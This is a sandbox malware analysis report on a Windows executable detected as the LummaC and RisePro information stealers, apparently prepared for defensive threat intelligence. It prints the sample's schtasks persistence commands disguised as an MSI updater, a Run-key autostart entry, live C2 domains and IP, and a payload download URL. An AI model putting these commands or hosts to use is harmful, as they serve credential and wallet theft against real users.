Edit tour

Windows Analysis Report
2q45IEa3Ee.exe

Overview

General Information

Sample name:	2q45IEa3Ee.exe renamed because original name is a hash value
Original sample name:	4a36fa7c0ccbc6842c541a6439ab545a.exe
Analysis ID:	1429253
MD5:	4a36fa7c0ccbc6842c541a6439ab545a
SHA1:	9257009dd59ac4db2518293bcd46be058d937284
SHA256:	ca9b2380df90ac17d8c042db4ab442ffad68cc52cd2e557d855f7d571469198f
Tags:	32exetrojan
Infos:

Detection

LummaC, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Yara detected RisePro Stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found decision node followed by non-executed suspicious APIs

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Is looking for software installed on the system

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

2q45IEa3Ee.exe (PID: 6736 cmdline: "C:\Users\user\Desktop\2q45IEa3Ee.exe" MD5: 4A36FA7C0CCBC6842C541A6439AB545A)

schtasks.exe (PID: 2140 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5500 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oRkIPIEeryat7GMgjkBr.exe (PID: 7092 cmdline: "C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe" MD5: C60F5FA3A579BCA2C8C377F7E15B2221)

RegAsm.exe (PID: 1740 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV202.exe (PID: 8 cmdline: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe MD5: C60F5FA3A579BCA2C8C377F7E15B2221)

RegAsm.exe (PID: 5856 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV202.exe (PID: 6804 cmdline: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe MD5: C60F5FA3A579BCA2C8C377F7E15B2221)

RegAsm.exe (PID: 5900 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

AdobeUpdaterV202.exe (PID: 2708 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe" MD5: C60F5FA3A579BCA2C8C377F7E15B2221)

RegAsm.exe (PID: 2128 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

AdobeUpdaterV202.exe (PID: 5316 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe" MD5: C60F5FA3A579BCA2C8C377F7E15B2221)

RegAsm.exe (PID: 5948 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wifeplasterbakewis.shop", "mealplayerpreceodsju.shop", "bordersoarmanusjuw.shop", "suitcaseacanehalk.shop", "absentconvicsjawun.shop", "pushjellysingeywus.shop", "economicscreateojsu.shop", "entitlementappwo.shop", "bordersoarmanusjuw.shop"], "Build id": "H8NgCl--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\uw5Stgma3gbM9Xo4g_6cCoQ.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1824382503.0000000005E26000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1740	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1740	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5856	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5900	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2128	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\2q45IEa3Ee.exe, ProcessId: 6736, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c

Snort Signatures

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (bordersoarmanusjuw .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/21/24-15:31:20.586831
SID:	2052033
Source Port:	52093
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:25.628405
SID:	2052042
Source Port:	49760
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:23.881087
SID:	2052042
Source Port:	49754
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:33.821783
SID:	2052042
Source Port:	49767
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:26.418186
SID:	2052042
Source Port:	49762
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:21.334851
SID:	2052042
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:22.307200
SID:	2052042
Source Port:	49748
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:41.967279
SID:	2052042
Source Port:	49775
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:36.937476
SID:	2052042
Source Port:	49771
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:35.293170
SID:	2052042
Source Port:	49769
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:24.663338
SID:	2052042
Source Port:	49756
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:27.426056
SID:	2052042
Source Port:	49764
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:23.027299
SID:	2052042
Source Port:	49750
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:23.083597
SID:	2052042
Source Port:	49751
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:25.393562
SID:	2052042
Source Port:	49758
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:21.497185
SID:	2052042
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:43.541138
SID:	2052042
Source Port:	49777
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 193.233.132.253

Timestamp:	04/21/24-15:31:03.459237
SID:	2046269
Source Port:	49732
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:23.803046
SID:	2052042
Source Port:	49753
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:22.231263
SID:	2052042
Source Port:	49747
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:26.161697
SID:	2052042
Source Port:	49761
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:45.038330
SID:	2052042
Source Port:	49779
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:45.673426
SID:	2052042
Source Port:	49780
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:33.057817
SID:	2052042
Source Port:	49766
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:24.609439
SID:	2052042
Source Port:	49755
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:41.199553
SID:	2052042
Source Port:	49774
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:34.487931
SID:	2052042
Source Port:	49768
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:37.580199
SID:	2052042
Source Port:	49772
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:20.726146
SID:	2052042
Source Port:	49742
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:24.761343
SID:	2052042
Source Port:	49757
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:21.449796
SID:	2052042
Source Port:	49744
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:26.584600
SID:	2052042
Source Port:	49763
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:36.076592
SID:	2052042
Source Port:	49770
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:42.756248
SID:	2052042
Source Port:	49776
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.4 - Destination IP: 193.233.132.253

Timestamp:	04/21/24-15:31:00.128706
SID:	2049060
Source Port:	49732
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:22.967985
SID:	2052042
Source Port:	49749
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:25.400720
SID:	2052042
Source Port:	49759
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:44.323393
SID:	2052042
Source Port:	49778
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:27.781654
SID:	2052042
Source Port:	49765
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:23.794727
SID:	2052042
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:46.836355
SID:	2052042
Source Port:	49781
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 193.233.132.253 - Destination IP: 192.168.2.4

Timestamp:	04/21/24-15:31:00.343729
SID:	2046266
Source Port:	50500
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 193.233.132.253 - Destination IP: 192.168.2.4

Timestamp:	04/21/24-15:31:11.754990
SID:	2046267
Source Port:	50500
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:22.151633
SID:	2052042
Source Port:	49746
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.189.66

Timestamp:	04/21/24-15:31:38.597070
SID:	2052042
Source Port:	49773
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Avira: detection malicious, Label: TR/AD.Nekark.sbdpe
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Avira: detection malicious, Label: TR/AD.Nekark.sbdpe
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Avira: detection malicious, Label: TR/AD.Nekark.sbdpe
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	Avira: detection malicious, Label: TR/AD.Nekark.sbdpe

Found malware configuration

Source: 7.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["wifeplasterbakewis.shop", "mealplayerpreceodsju.shop", "bordersoarmanusjuw.shop", "suitcaseacanehalk.shop", "absentconvicsjawun.shop", "pushjellysingeywus.shop", "economicscreateojsu.shop", "entitlementappwo.shop", "bordersoarmanusjuw.shop"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: https://bordersoarmanusjuw.shop:443/api	Virustotal: Detection: 16%	Perma Link
Source: https://bordersoarmanusjuw.shop/	Virustotal: Detection: 16%	Perma Link
Source: https://bordersoarmanusjuw.shop/api	Virustotal: Detection: 16%	Perma Link
Source: https://bordersoarmanusjuw.shop/api(	Virustotal: Detection: 8%	Perma Link
Source: https://bordersoarmanusjuw.shop/0	Virustotal: Detection: 9%	Perma Link
Source: https://bordersoarmanusjuw.shop/#	Virustotal: Detection: 16%	Perma Link
Source: mealplayerpreceodsju.shop	Virustotal: Detection: 18%	Perma Link
Source: economicscreateojsu.shop	Virustotal: Detection: 13%	Perma Link
Source: https://bordersoarmanusjuw.shop/api$	Virustotal: Detection: 13%	Perma Link
Source: http://193.233.132.253/lumma1504.exe	Virustotal: Detection: 22%	Perma Link
Source: https://bordersoarmanusjuw.shop/apie	Virustotal: Detection: 15%	Perma Link
Source: https://bordersoarmanusjuw.shop/apir	Virustotal: Detection: 13%	Perma Link
Source: entitlementappwo.shop	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	ReversingLabs: Detection: 91%
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Virustotal: Detection: 77%	Perma Link

Multi AV Scanner detection for submitted file

Source: 2q45IEa3Ee.exe	Virustotal: Detection: 23%			Perma Link
Source: 2q45IEa3Ee.exe	ReversingLabs: Detection: 28%

Machine Learning detection for dropped file

Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wifeplasterbakewis.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mealplayerpreceodsju.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bordersoarmanusjuw.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: suitcaseacanehalk.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: absentconvicsjawun.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: pushjellysingeywus.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: economicscreateojsu.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: entitlementappwo.shop
Source: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bordersoarmanusjuw.shop
